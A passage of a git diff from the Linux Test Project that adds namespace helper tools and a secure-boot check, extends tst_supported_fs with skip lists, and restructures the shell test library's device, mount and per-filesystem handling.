-n "$TST_USE_LEGACY_API" ]; then + [ "$TST_IPV6" ] && tst_net_require_ipv6 + tst_net_remote_tmpdir + fi +} + +[ -n "$TST_USE_LEGACY_API" ] && . test.sh || . tst_test.sh + +if [ -n "$TST_USE_LEGACY_API" ]; then + tst_net_read_opts "$@" +else + if [ "$TST_PARSE_ARGS_CALLER" = "$TST_PARSE_ARGS" ]; then + tst_res_ TWARN "TST_PARSE_ARGS_CALLER same as TST_PARSE_ARGS, unset it ($TST_PARSE_ARGS)" + unset TST_PARSE_ARGS_CALLER + fi + if [ "$TST_SETUP_CALLER" = "$TST_SETUP" ]; then + tst_res_ TWARN "TST_SETUP_CALLER same as TST_SETUP, unset it ($TST_SETUP)" + unset TST_SETUP_CALLER + fi + if [ "$TST_USAGE_CALLER" = "$TST_USAGE" ]; then + tst_res_ TWARN "TST_USAGE_CALLER same as TST_USAGE, unset it ($TST_USAGE)" + unset TST_USAGE_CALLER + fi fi +# detect IPv6 support on lhost for tests which don't use test links +tst_net_detect_ipv6 + +[ -n "$TST_NET_SKIP_VARIABLE_INIT" ] && return 0 + +# Management Link +[ -z "$RHOST" ] && TST_USE_NETNS="yes" +export RHOST="$RHOST" +export PASSWD="${PASSWD:-}" +# Don't use it in new tests, use tst_rhost_run() from tst_net.sh instead. +export LTP_RSH="${LTP_RSH:-ssh -nq}" + +# Test Links +# IPV{4,6}_{L,R}HOST can be set with or without prefix (e.g. IP or IP/prefix), +# but if you use IP/prefix form, /prefix will be removed by tst_net_vars. +IPV4_LHOST="${IPV4_LHOST:-10.0.0.2/24}" +IPV4_RHOST="${IPV4_RHOST:-10.0.0.1/24}" +IPV6_LHOST="${IPV6_LHOST:-fd00:1:1:1::2/64}" +IPV6_RHOST="${IPV6_RHOST:-fd00:1:1:1::1/64}" + +tst_net_setup_network + +# More information about network parameters can be found +# in the following document: testcases/network/stress/README + export TST_NET_DATAROOT="$LTPROOT/testcases/bin/datafiles" export TST_NETLOAD_CLN_REQUESTS="${TST_NETLOAD_CLN_REQUESTS:-10000}" @@ -1041,13 +1157,6 @@ export RHOST_HWADDRS="${RHOST_HWADDRS:-$(tst_get_hwaddrs rhost)}" export NS_ICMPV4_SENDER_DATA_MAXSIZE=1472 export NS_ICMPV6_SENDER_DATA_MAXSIZE=1452 -# More information about network parameters can be found -# in the following document: testcases/network/stress/README - -if [ -n "$TST_USE_LEGACY_API" ]; then - tst_net_remote_tmpdir -fi - if [ -z "$TST_USE_LEGACY_API" ] && ! tst_cmd_available ping6; then ping6() { diff --git a/testcases/lib/tst_ns_common.h b/testcases/lib/tst_ns_common.h new file mode 100644 index 00000000..358db514 --- /dev/null +++ b/testcases/lib/tst_ns_common.h @@ -0,0 +1,42 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later + * Copyright (c) 2015 Red Hat, Inc. + * Copyright (c) Linux Test Project, 2015-2023 + */ + +#ifndef TST_NS_COMMON_H__ +#define TST_NS_COMMON_H__ +#include +#include "lapi/sched.h" + +#define PROC_PATH "/proc" + +struct param { + const char *name; + int flag; +}; + +static struct param params[] = { + {"ipc", CLONE_NEWIPC}, + {"mnt", CLONE_NEWNS}, + {"net", CLONE_NEWNET}, + {"pid", CLONE_NEWPID}, + {"user", CLONE_NEWUSER}, + {"uts", CLONE_NEWUTS}, + {NULL, 0} +}; + +#define NS_TOTAL (ARRAY_SIZE(params) - 1) + +static struct param *get_param(const char *name) +{ + int i; + + for (i = 0; params[i].name; i++) { + if (!strcasecmp(params[i].name, name)) + return params + i; + } + + return NULL; +} + +#endif /* TST_NS_COMMON_H__ */ diff --git a/testcases/lib/tst_ns_create.c b/testcases/lib/tst_ns_create.c new file mode 100644 index 00000000..1c6258cd --- /dev/null +++ b/testcases/lib/tst_ns_create.c @@ -0,0 +1,92 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2015 Red Hat, Inc. + * Matus Marhefka + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + * Copyright (c) Linux Test Project, 2020-2023 + */ + +/*\ + * [Description] + * + * Creates a child process in the new specified namespace(s), child is then + * daemonized and is running in the background. PID of the daemonized child + * process is printed on the stdout. As the new namespace(s) is(are) maintained + * by the daemonized child process it(they) can be removed by killing this + * process. + */ + +#define TST_NO_DEFAULT_MAIN + +#include +#include +#include "tst_test.h" +#include "tst_ns_common.h" + +extern struct tst_test *tst_test; + +static struct tst_test test = { + .forks_child = 1, /* Needed by SAFE_CLONE */ +}; + +static void print_help(void) +{ + int i; + + printf("usage: tst_ns_create <%s", params[0].name); + + for (i = 1; params[i].name; i++) + printf("|,%s", params[i].name); + + printf(">\n"); +} + +static void child_fn(void) +{ + int i; + + SAFE_SETSID(); + SAFE_CHDIR("/"); + + for (i = 0; i < SAFE_SYSCONF(_SC_OPEN_MAX); i++) + close(i); + + printf("pausing child\n"); + pause(); +} + +int main(int argc, char *argv[]) +{ + struct tst_clone_args args = { 0, SIGCHLD }; + char *token; + int pid; + + if (argc < 2) { + print_help(); + return 1; + } + + tst_test = &test; + + while ((token = strsep(&argv[1], ","))) { + struct param *p = get_param(token); + + if (!p) { + printf("Unknown namespace: %s\n", token); + print_help(); + return 1; + } + + args.flags |= p->flag; + } + + pid = SAFE_CLONE(&args); + if (!pid) { + child_fn(); + return 0; + } + + printf("%d", pid); + + return 0; +} diff --git a/testcases/lib/tst_ns_exec.c b/testcases/lib/tst_ns_exec.c new file mode 100644 index 00000000..66a4e69d --- /dev/null +++ b/testcases/lib/tst_ns_exec.c @@ -0,0 +1,115 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2015 Red Hat, Inc. + * Matus Marhefka + * Copyright (c) Linux Test Project, 2015-2023 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Enters the namespace(s) of a process specified by a PID and then executes + * the indicated program inside that namespace(s). + */ + +#define TST_NO_DEFAULT_MAIN + +#include +#include +#include "tst_test.h" +#include "tst_ns_common.h" + +extern struct tst_test *tst_test; + +static struct tst_test test = { + .forks_child = 1, /* Needed by SAFE_CLONE */ +}; + +static int ns_fd[NS_TOTAL]; +static int ns_fds; + +static void print_help(void) +{ + int i; + + printf("usage: tst_ns_exec <%s", params[0].name); + + for (i = 1; params[i].name; i++) + printf("|,%s", params[i].name); + + printf("> [ARGS]\nSecond argument indicates the types" + " of a namespaces maintained by NS_PID\nand is specified" + " as a comma separated list.\n" + "Example: tst_ns_exec 1234 net,ipc ip a\n"); +} + +static void open_ns_fd(const char *pid, const char *ns) +{ + int fd; + char file_buf[64]; + + sprintf(file_buf, "%s/%s/ns/%s", PROC_PATH, pid, ns); + + fd = SAFE_OPEN(file_buf, O_RDONLY); + ns_fd[ns_fds] = fd; + + ++ns_fds; +} + +static void close_ns_fd(void) +{ + int i; + + for (i = 0; i < ns_fds; i++) + SAFE_CLOSE(ns_fd[i]); +} + +int main(int argc, char *argv[]) +{ + struct tst_clone_args args = { 0, SIGCHLD }; + int i, status, pid; + char *token; + + tst_test = &test; + + if (argc < 4) { + print_help(); + return 1; + } + + memset(ns_fd, 0, sizeof(ns_fd)); + + while ((token = strsep(&argv[2], ","))) { + struct param *p = get_param(token); + + if (!p) { + printf("Unknown namespace: %s\n", token); + print_help(); + return 1; + } + + open_ns_fd(argv[1], token); + } + + if (!ns_fds) { + printf("no namespace entries in /proc/%s/ns/\n", argv[1]); + return 1; + } + + for (i = 0; i < ns_fds; i++) + SAFE_SETNS(ns_fd[i], 0); + + pid = SAFE_CLONE(&args); + if (!pid) + SAFE_EXECVP(argv[3], argv+3); + + SAFE_WAITPID(pid, &status, 0); + + close_ns_fd(); + + if (WIFEXITED(status)) + return WEXITSTATUS(status); + + return 0; +} diff --git a/testcases/lib/tst_ns_ifmove.c b/testcases/lib/tst_ns_ifmove.c new file mode 100644 index 00000000..03531fc9 --- /dev/null +++ b/testcases/lib/tst_ns_ifmove.c @@ -0,0 +1,92 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* Copyright (c) 2015 Red Hat, Inc. + * Copyright (c) Linux Test Project, 2015-2022 + * Copyright (c) 2023 Petr Vorel + * Written by Matus Marhefka + */ + +/*\ + * [Description] + * + * Moves a network interface to the namespace of a process specified by a PID. + */ + +#include "config.h" + +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" +#include "tst_safe_macros.h" +#include "tst_safe_net.h" + +#include +#include +#include +#include +#include +#include + +#ifdef HAVE_DECL_IFLA_NET_NS_PID + +static struct { + struct nlmsghdr nh; + struct ifinfomsg ifi; + char attrbuf[512]; +} req; + + +static int get_intf_index_from_name(const char *intf_name) +{ + struct ifreq ifr; + int sock_fd; + + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, intf_name, sizeof(ifr.ifr_name) - 1); + ifr.ifr_name[sizeof(ifr.ifr_name)-1] = '\0'; + + sock_fd = SAFE_SOCKET(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + + /* interface index */ + SAFE_IOCTL(sock_fd, SIOCGIFINDEX, &ifr); + SAFE_CLOSE(sock_fd); + + return ifr.ifr_ifindex; +} + +int main(int argc, char **argv) +{ + struct rtattr *rta; + int intf_index, pid, rtnetlink_socket; + + if (argc != 3) { + printf("tst_ns_ifmove \n"); + return 1; + } + + intf_index = get_intf_index_from_name(argv[1]); + pid = atoi(argv[2]); + rtnetlink_socket = SAFE_SOCKET(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE); + + memset(&req, 0, sizeof(req)); + req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nh.nlmsg_flags = NLM_F_REQUEST; + req.nh.nlmsg_type = RTM_NEWLINK; + req.ifi.ifi_family = AF_UNSPEC; + req.ifi.ifi_index = intf_index; + req.ifi.ifi_change = 0xffffffff; + rta = (struct rtattr *)(((char *) &req) + + NLMSG_ALIGN(req.nh.nlmsg_len)); + rta->rta_type = IFLA_NET_NS_PID; + rta->rta_len = RTA_LENGTH(sizeof(int)); + req.nh.nlmsg_len = NLMSG_ALIGN(req.nh.nlmsg_len) + + RTA_LENGTH(sizeof(pid)); + memcpy(RTA_DATA(rta), &pid, sizeof(pid)); + + SAFE_SEND(1, rtnetlink_socket, &req, req.nh.nlmsg_len, 0); + SAFE_CLOSE(rtnetlink_socket); + + return 0; +} + +#else + TST_TEST_TCONF("IFLA_NET_NS_PID not defined in linux/if_link.h"); +#endif diff --git a/testcases/lib/tst_rod.c b/testcases/lib/tst_rod.c index 2f0ff902..362471fa 100755 --- a/testcases/lib/tst_rod.c +++ b/testcases/lib/tst_rod.c @@ -77,6 +77,13 @@ int main(int argc, char *argv[]) args[pos] = NULL; + if (!strcmp(args[0], "cd") || !strcmp(args[0], "pushd") || + !strcmp(args[0], "popd")) { + fprintf(stderr, "\"%s %s\" has no effect on parent shell\n", + argv[0], args[0]); + return 1; + } + if (stdin_path) { if (close(0)) { fprintf(stderr, "%s: Failed to close stdin: %s\n", @@ -130,7 +137,7 @@ int main(int argc, char *argv[]) } } - execvp(argv[1], args); + execvp(args[0], args); /* Fall back to shell if command wasn't found */ FILE *sin = popen("/bin/sh", "w"); diff --git a/testcases/lib/tst_secureboot_enabled.c b/testcases/lib/tst_secureboot_enabled.c new file mode 100644 index 00000000..dadc0413 --- /dev/null +++ b/testcases/lib/tst_secureboot_enabled.c @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 Petr Vorel + */ + +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" + +int main(void) +{ + return tst_secureboot_enabled() <= 0; +} diff --git a/testcases/lib/tst_supported_fs.c b/testcases/lib/tst_supported_fs.c index 43eac194..1832154f 100755 --- a/testcases/lib/tst_supported_fs.c +++ b/testcases/lib/tst_supported_fs.c @@ -1,46 +1,159 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) Linux Test Project, 2019-2022 * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved. * Author: Xiao Yang */ #include +#include #include +#define SKIP_DELIMITER ',' + #define TST_NO_DEFAULT_MAIN #include "tst_test.h" #include "tst_fs.h" +#define err_exit(...) ({ \ + fprintf(stderr, __VA_ARGS__); \ + fprintf(stderr, "\n"); \ + usage(); \ + exit(2); \ +}) + +#define fail_exit(...) ({ \ + fprintf(stderr, __VA_ARGS__); \ + fprintf(stderr, "\n"); \ + exit(1); \ +}) + +#define info_exit(...) ({ \ + fprintf(stderr, __VA_ARGS__); \ + fprintf(stderr, "\n"); \ + exit(0); \ +}) + static void usage(void) { - fprintf(stderr, "Usage: tst_supported_fs [fs_type]\n"); - fprintf(stderr, " If fs_type is supported, return 0\n"); - fprintf(stderr, " If fs_type isn't supported, return 1\n"); - fprintf(stderr, " If fs_type isn't specified, print the list of supported filesystems\n"); - fprintf(stderr, " fs_type - a specified filesystem type\n"); + fprintf(stderr, "Usage:\n"); + fprintf(stderr, "* all filesystems\n"); + fprintf(stderr, "tst_supported_fs [-s skip_list]\n"); + fprintf(stderr, " print the list of supported filesystems\n"); + fprintf(stderr, " if fs_type is supported and not in skip_list (optional),\n" + " print list of supported filesystems and return 0\n"); + fprintf(stderr, " if fs_type isn't supported or in skip_list, return 1\n\n"); + + fprintf(stderr, "* single filesystem\n"); + fprintf(stderr, "tst_supported_fs fs_type\n"); + fprintf(stderr, " if fs_type is supported, return 0 otherwise return 1\n\n"); + + fprintf(stderr, "tst_supported_fs -s skip_list fs_type\n"); + fprintf(stderr, " if fs_type is in skip_list, return 1 otherwise return 0\n\n"); + + fprintf(stderr, "tst_supported_fs -s skip_list -d path\n"); + fprintf(stderr, " if filesystem mounted on path is in skip_list, return 1 otherwise return 0\n\n"); + + fprintf(stderr, "fs_type - a specified filesystem type\n"); + fprintf(stderr, "skip_list - filesystems to skip, delimiter: '%c'\n", + SKIP_DELIMITER); + fprintf(stderr, "path - any valid file or directory\n"); +} + +static char **parse_skiplist(char *fs) +{ + char **skiplist; + int i, cnt = 1; + + for (i = 0; fs[i]; i++) { + if (optarg[i] == SKIP_DELIMITER) + cnt++; + } + + skiplist = malloc(++cnt * sizeof(char *)); + if (!skiplist) { + fprintf(stderr, "malloc() failed\n"); + return NULL; + } + + for (i = 0; i < cnt; i++) + skiplist[i] = strtok_r(fs, TST_TO_STR(SKIP_DELIMITER), &fs); + + return skiplist; } int main(int argc, char *argv[]) { - const char *skiplist[] = {"tmpfs", NULL}; const char *const *filesystems; - int i; + const char *fsname = NULL; + int i, ret; + char **skiplist = NULL; + + while ((ret = getopt(argc, argv, "d:hs:"))) { + if (ret < 0) + break; + + switch (ret) { + case '?': + usage(); + return 2; + + case 'h': + usage(); + return 0; + + case 's': + skiplist = parse_skiplist(optarg); + if (!skiplist) + return 2; + break; + + case 'd': + if (fsname) + err_exit("Can't specify multiple paths"); + + fsname = tst_fs_type_name(tst_fs_type(optarg)); + break; + } + } - if (argc > 2) { - fprintf(stderr, "Can't specify multiple fs_type\n"); - usage(); - return 2; + if (fsname && !skiplist) + err_exit("Parameter -d requires skiplist"); + + if (argc - optind > 1) + err_exit("Can't specify multiple fs_type"); + + /* fs_type */ + if (optind < argc) { + if (fsname) + err_exit("Can't specify fs_type and -d together"); + + fsname = argv[optind]; } - if (argv[1] && !strcmp(argv[1], "-h")) { - usage(); - return 0; + if (fsname) { + if (fsname[0] == '\0') + err_exit("fs_type is empty"); + + if (skiplist) { + if (tst_fs_in_skiplist(fsname, (const char * const*)skiplist)) + fail_exit("%s is skipped", fsname); + + info_exit("%s is not skipped", fsname); + } + + if (tst_fs_is_supported(fsname) == TST_FS_UNSUPPORTED) + fail_exit("%s is not supported", fsname); + + info_exit("%s is supported", fsname); } - if (argv[1]) - return !tst_fs_is_supported(argv[1]); + /* all filesystems */ + filesystems = tst_get_supported_fs_types((const char * const*)skiplist); + + if (!filesystems[0]) + fail_exit("There are no supported filesystems or all skipped"); - filesystems = tst_get_supported_fs_types(skiplist); for (i = 0; filesystems[i]; i++) printf("%s\n", filesystems[i]); diff --git a/testcases/lib/tst_test.sh b/testcases/lib/tst_test.sh index 30614974..b5b38f52 100755 --- a/testcases/lib/tst_test.sh +++ b/testcases/lib/tst_test.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) Linux Test Project, 2014-2021 +# Copyright (c) Linux Test Project, 2014-2022 # Author: Cyril Hrubis # # LTP test library for shell. @@ -24,11 +24,8 @@ export TST_LIB_LOADED=1 trap "tst_brk TBROK 'test interrupted'" INT trap "unset _tst_setup_timer_pid; tst_brk TBROK 'test terminated'" TERM -_tst_do_exit() +_tst_do_cleanup() { - local ret=0 - TST_DO_EXIT=1 - if [ -n "$TST_DO_CLEANUP" -a -n "$TST_CLEANUP" -a -z "$TST_NO_CLEANUP" ]; then if command -v $TST_CLEANUP >/dev/null 2>/dev/null; then $TST_CLEANUP @@ -36,6 +33,18 @@ _tst_do_exit() tst_res TWARN "TST_CLEANUP=$TST_CLEANUP declared, but function not defined (or cmd not found)" fi fi + TST_DO_CLEANUP= +} + +_tst_do_exit() +{ + local ret=0 + TST_DO_EXIT=1 + + _tst_do_cleanup + + cd "$LTPROOT" + [ "$TST_MOUNT_FLAG" = 1 ] && tst_umount if [ "$TST_NEEDS_DEVICE" = 1 -a "$TST_DEVICE_FLAG" = 1 ]; then if ! tst_device release "$TST_DEVICE"; then @@ -44,7 +53,6 @@ _tst_do_exit() fi if [ "$TST_NEEDS_TMPDIR" = 1 -a -n "$TST_TMPDIR" ]; then - cd "$LTPROOT" rm -r "$TST_TMPDIR" [ "$TST_TMPDIR_RHOST" = 1 ] && tst_cleanup_rhost fi @@ -75,13 +83,15 @@ _tst_do_exit() _tst_check_security_modules fi - echo - echo "Summary:" - echo "passed $TST_PASS" - echo "failed $TST_FAIL" - echo "broken $TST_BROK" - echo "skipped $TST_CONF" - echo "warnings $TST_WARN" + cat >&2 << EOF + +Summary: +passed $TST_PASS +failed $TST_FAIL +broken $TST_BROK +skipped $TST_CONF +warnings $TST_WARN +EOF exit $ret } @@ -104,9 +114,6 @@ tst_res() local res=$1 shift - tst_color_enabled - local color=$? - _tst_inc_res "$res" printf "$TST_ID $TST_COUNT " >&2 @@ -282,15 +289,17 @@ TST_CHECKPOINT_WAKE_AND_WAIT() tst_mount() { - local mnt_opt mnt_err + local mnt_opt mnt_err mnt_real if [ -n "$TST_FS_TYPE" ]; then mnt_opt="-t $TST_FS_TYPE" mnt_err=" $TST_FS_TYPE type" fi + local cmd="mount $mnt_opt $TST_DEVICE $TST_MNTPOINT $TST_MNT_PARAMS" ROD_SILENT mkdir -p $TST_MNTPOINT - mount $mnt_opt $TST_DEVICE $TST_MNTPOINT $TST_MNT_PARAMS + tst_res TINFO "Mounting device: $cmd" + $cmd local ret=$? if [ $ret -eq 32 ]; then @@ -337,24 +346,28 @@ tst_umount() tst_mkfs() { + local opts local fs_type=${1:-$TST_FS_TYPE} - local device=${2:-$TST_DEVICE} [ $# -ge 1 ] && shift - [ $# -ge 1 ] && shift - local fs_opts="$@" - if [ -z "$fs_type" ]; then - tst_brk TBROK "No fs_type specified" + opts="$@" + + if [ "$fs_type" = tmpfs ]; then + tst_res TINFO "Skipping mkfs for TMPFS filesystem" + return fi - if [ -z "$device" ]; then - tst_brk TBROK "No device specified" + if [ -z "$opts" ]; then + if [ "$TST_NEEDS_DEVICE" != 1 ]; then + tst_brk "Using default parameters in tst_mkfs requires TST_NEEDS_DEVICE=1" + fi + opts="$TST_DEVICE" fi tst_require_cmds mkfs.$fs_type - tst_res TINFO "Formatting $device with $fs_type extra opts='$fs_opts'" - ROD_SILENT mkfs.$fs_type $fs_opts $device + tst_res TINFO "Formatting $fs_type with opts='$opts'" + ROD_SILENT mkfs.$fs_type $opts } # Detect whether running under hypervisor: Microsoft Hyper-V @@ -449,11 +462,28 @@ tst_usage() $TST_USAGE else echo "usage: $0" - echo "OPTIONS" + echo + echo "Options" + echo "-------" fi echo "-h Prints this help" echo "-i n Execute test n times" + + cat << EOF + +Environment Variables +--------------------- +KCONFIG_PATH Specify kernel config file +KCONFIG_SKIP_CHECK Skip kernel config check if variable set (not set by default) +LTPROOT Prefix for installed LTP (default: /opt/ltp) +LTP_COLORIZE_OUTPUT Force colorized output behaviour (y/1 always, n/0: never) +LTP_DEV Path to the block device to be used (for .needs_device) +LTP_DEV_FS_TYPE Filesystem used for testing (default: ext2) +LTP_SINGLE_FS_TYPE Testing only - specifies filesystem instead all supported (for TST_ALL_FILESYSTEMS=1) +LTP_TIMEOUT_MUL Timeout multiplier (must be a number >=1, ceiled to int) +TMPDIR Base directory for template directory (for .needs_tmpdir, default: /tmp) +EOF } _tst_resstr() @@ -498,7 +528,8 @@ _tst_cleanup_timer() { if [ -n "$_tst_setup_timer_pid" ]; then kill -TERM $_tst_setup_timer_pid 2>/dev/null - wait $_tst_setup_timer_pid 2>/dev/null + # kill is successful only on test timeout + wait $_tst_setup_timer_pid 2>/dev/null || true fi } @@ -591,17 +622,49 @@ _tst_init_checkpoints() export LTP_IPC_PATH } +_prepare_device() +{ + if [ "$TST_FORMAT_DEVICE" = 1 ]; then + tst_device clear "$TST_DEVICE" + tst_mkfs $TST_FS_TYPE $TST_DEV_FS_OPTS $TST_DEVICE $TST_DEV_EXTRA_OPTS + fi + + if [ "$TST_MOUNT_DEVICE" = 1 ]; then + tst_mount + TST_MOUNT_FLAG=1 + fi +} + +_tst_run_tcases_per_fs() +{ + local fs + local filesystems + + filesystems="$(tst_supported_fs -s "$TST_SKIP_FILESYSTEMS")" + if [ $? -ne 0 ]; then + tst_brk TCONF "There are no supported filesystems or all skipped" + fi + + for fs in $filesystems; do + tst_res TINFO "=== Testing on $fs ===" + TST_FS_TYPE="$fs" + _tst_run_iterations + done +} + tst_run() { local _tst_i local _tst_data local _tst_max local _tst_name + local _tst_pattern='[='\''"} \t\/:`$\;|].*' + local ret if [ -n "$TST_TEST_PATH" ]; then - for _tst_i in $(grep '^[^#]*\bTST_' "$TST_TEST_PATH" | sed 's/.*TST_//; s/[="} \t\/:`].*//'); do + for _tst_i in $(grep '^[^#]*\bTST_' "$TST_TEST_PATH" | sed "s/.*TST_//; s/$_tst_pattern//"); do case "$_tst_i" in - DISABLE_APPARMOR|DISABLE_SELINUX);; + ALL_FILESYSTEMS|DISABLE_APPARMOR|DISABLE_SELINUX);; SETUP|CLEANUP|TESTFUNC|ID|CNT|MIN_KVER);; OPTS|USAGE|PARSE_ARGS|POS_ARGS);; NEEDS_ROOT|NEEDS_TMPDIR|TMPDIR|NEEDS_DEVICE|DEVICE);; @@ -614,36 +677,35 @@ tst_run() NET_SKIP_VARIABLE_INIT|NEEDS_CHECKPOINTS);; CHECKPOINT_WAIT|CHECKPOINT_WAKE);; CHECKPOINT_WAKE2|CHECKPOINT_WAKE_AND_WAIT);; + DEV_EXTRA_OPTS|DEV_FS_OPTS|FORMAT_DEVICE|MOUNT_DEVICE);; + SKIP_FILESYSTEMS|SKIP_IN_LOCKDOWN|SKIP_IN_SECUREBOOT);; *) tst_res TWARN "Reserved variable TST_$_tst_i used!";; esac done - for _tst_i in $(grep '^[^#]*\b_tst_' "$TST_TEST_PATH" | sed 's/.*_tst_//; s/[="} \t\/:`].*//'); do + for _tst_i in $(grep '^[^#]*\b_tst_' "$TST_TEST_PATH" | sed "s/.*_tst_//; s/$_tst_pattern//"); do tst_res TWARN "Private variable or function _tst_$_tst_i used!" done fi - OPTIND=1 - - while getopts ":hi:$TST_OPTS" _tst_name $TST_ARGS; do - case $_tst_name in - 'h') tst_usage; exit 0;; - 'i') TST_ITERATIONS=$OPTARG;; - '?') tst_usage; exit 2;; - *) $TST_PARSE_ARGS "$_tst_name" "$OPTARG";; - esac - done - if ! tst_is_int "$TST_ITERATIONS"; then tst_brk TBROK "Expected number (-i) not '$TST_ITERATIONS'" fi - if [ "$TST_ITERATIONS" -le 0 ]; then - tst_brk TBROK "Number of iterations (-i) must be > 0" + if [ "$TST_ITERATIONS" -lt 0 ]; then + tst_brk TBROK "Number of iterations (-i) must be >= 0" fi [ "$TST_NEEDS_ROOT" = 1 ] && tst_require_root + if [ "$TST_SKIP_IN_SECUREBOOT" = 1 ] && tst_secureboot_enabled; then + tst_brk TCONF "SecureBoot enabled, skipping test" + fi + + if [ "$TST_SKIP_IN_LOCKDOWN" = 1 ] && tst_lockdown_enabled; then + tst_brk TCONF "Kernel is locked down, skipping test" + fi + [ "$TST_DISABLE_APPARMOR" = 1 ] && tst_disable_apparmor [ "$TST_DISABLE_SELINUX" = 1 ] && tst_disable_selinux @@ -656,8 +718,10 @@ tst_run() tst_brk TCONF "test requires kernel $TST_MIN_KVER+" fi - _tst_setup_timer + [ -n "$TST_NEEDS_MODULE" ] && tst_require_module "$TST_NEEDS_MODULE" + [ "$TST_MOUNT_DEVICE" = 1 ] && TST_FORMAT_DEVICE=1 + [ "$TST_FORMAT_DEVICE" = 1 -o "$TST_ALL_FILESYSTEMS" = 1 ] && TST_NEEDS_DEVICE=1 [ "$TST_NEEDS_DEVICE" = 1 ] && TST_NEEDS_TMPDIR=1 if [ "$TST_NEEDS_TMPDIR" = 1 ]; then @@ -666,31 +730,62 @@ tst_run() fi TST_TMPDIR=$(mktemp -d "$TMPDIR/LTP_$TST_ID.XXXXXXXXXX") + # remove possible trailing slash or double slashes from TMPDIR + TST_TMPDIR=$(echo "$TST_TMPDIR" | sed 's~/\+~/~g') chmod 777 "$TST_TMPDIR" TST_STARTWD=$(pwd) - cd "$TST_TMPDIR" fi - TST_MNTPOINT="${TST_MNTPOINT:-$PWD/mntpoint}" + # needs to be after cd $TST_TMPDIR to keep test_dev.img under $TST_TMPDIR if [ "$TST_NEEDS_DEVICE" = 1 ]; then - TST_DEVICE=$(tst_device acquire) if [ ! -b "$TST_DEVICE" -o $? -ne 0 ]; then unset TST_DEVICE tst_brk TBROK "Failed to acquire device" fi - TST_DEVICE_FLAG=1 + + if [ -z "$TST_FS_TYPE" ]; then + export TST_FS_TYPE="${LTP_DEV_FS_TYPE:-ext2}" + fi fi - [ -n "$TST_NEEDS_MODULE" ] && tst_require_module "$TST_NEEDS_MODULE" + if [ "$TST_ALL_FILESYSTEMS" != 1 -a "$TST_SKIP_FILESYSTEMS" ]; then + if ! tst_supported_fs -s "$TST_SKIP_FILESYSTEMS" -d . > /dev/null; then + tst_brk TCONF "filesystem is not supported by the test" + fi + + tst_res TINFO "filesystem is supported by the test" + fi [ -n "$TST_NEEDS_CHECKPOINTS" ] && _tst_init_checkpoints + TST_MNTPOINT="${TST_MNTPOINT:-$PWD/mntpoint}" + + if [ "$TST_ALL_FILESYSTEMS" = 1 ]; then + _tst_run_tcases_per_fs + else + _tst_run_iterations + fi + + _tst_do_exit +} + +_tst_run_iterations() +{ + local _tst_i=$TST_ITERATIONS + local _tst_j + + [ "$TST_NEEDS_TMPDIR" = 1 ] && cd "$TST_TMPDIR" + + _prepare_device + + _tst_setup_timer + if [ -n "$TST_SETUP" ]; then if command -v $TST_SETUP >/dev/null 2>/dev/null; then TST_DO_CLEANUP=1 @@ -701,20 +796,27 @@ tst_run() fi #TODO check that test reports some results for each test function call - while [ $TST_ITERATIONS -gt 0 ]; do + while [ $_tst_i -gt 0 ]; do if [ -n "$TST_TEST_DATA" ]; then tst_require_cmds cut tr wc _tst_max=$(( $(echo $TST_TEST_DATA | tr -cd "$TST_TEST_DATA_IFS" | wc -c) +1)) - for _tst_i in $(seq $_tst_max); do - _tst_data="$(echo "$TST_TEST_DATA" | cut -d"$TST_TEST_DATA_IFS" -f$_tst_i)" + for _tst_j in $(seq $_tst_max); do + _tst_data="$(echo "$TST_TEST_DATA" | cut -d"$TST_TEST_DATA_IFS" -f$_tst_j)" _tst_run_tests "$_tst_data" done else _tst_run_tests fi - TST_ITERATIONS=$((TST_ITERATIONS-1)) + _tst_i=$((_tst_i-1)) done - _tst_do_exit + + _tst_do_cleanup + + if [ "$TST_MOUNT_FLAG" = 1 ]; then + cd "$LTPROOT" + tst_umount + TST_MOUNT_FLAG= + fi } _tst_run_tests() @@ -743,6 +845,8 @@ _tst_run_test() TST_COUNT=$((TST_COUNT+1)) } +export LC_ALL=C + if [ -z "$TST_ID" ]; then _tst_filename=$(basename $0) || \ tst_brk TCONF "Failed to set TST_ID from \$0 ('$0'), fix it with setting TST_ID before sourcing tst_test.sh" @@ -794,22 +898,26 @@ if [ -z "$TST_NO_DEFAULT_RUN" ]; then TST_ARGS="$@" - while getopts ":hi:$TST_OPTS" tst_name; do - case $tst_name in - 'h') TST_PRINT_HELP=1;; - *);; + OPTIND=1 + + while getopts ":hi:$TST_OPTS" _tst_name $TST_ARGS; do + case $_tst_name in + 'h') tst_usage; exit 0;; + 'i') TST_ITERATIONS=$OPTARG;; + '?') tst_usage; exit 2;; + *) $TST_PARSE_ARGS "$_tst_name" "$OPTARG";; esac done shift $((OPTIND - 1)) if [ -n "$TST_POS_ARGS" ]; then - if [ -z "$TST_PRINT_HELP" -a $# -ne "$TST_POS_ARGS" ]; then + if [ $# -ne "$TST_POS_ARGS" ]; then tst_brk TBROK "Invalid number of positional parameters:"\ "have ($@) $#, expected ${TST_POS_ARGS}" fi else - if [ -z "$TST_PRINT_HELP" -a $# -ne 0 ]; then + if [ $# -ne 0 ]; then tst_brk TBROK "Unexpected positional arguments '$@'" fi fi diff --git a/testcases/misc/lvm/cleanup_lvm.sh b/testcases/misc/lvm/cleanup_lvm.sh index b41b4131..f05289f0 100755 --- a/testcases/misc/lvm/cleanup_lvm.sh +++ b/testcases/misc/lvm/cleanup_lvm.sh @@ -7,7 +7,6 @@ TST_TESTFUNC=cleanup_lvm 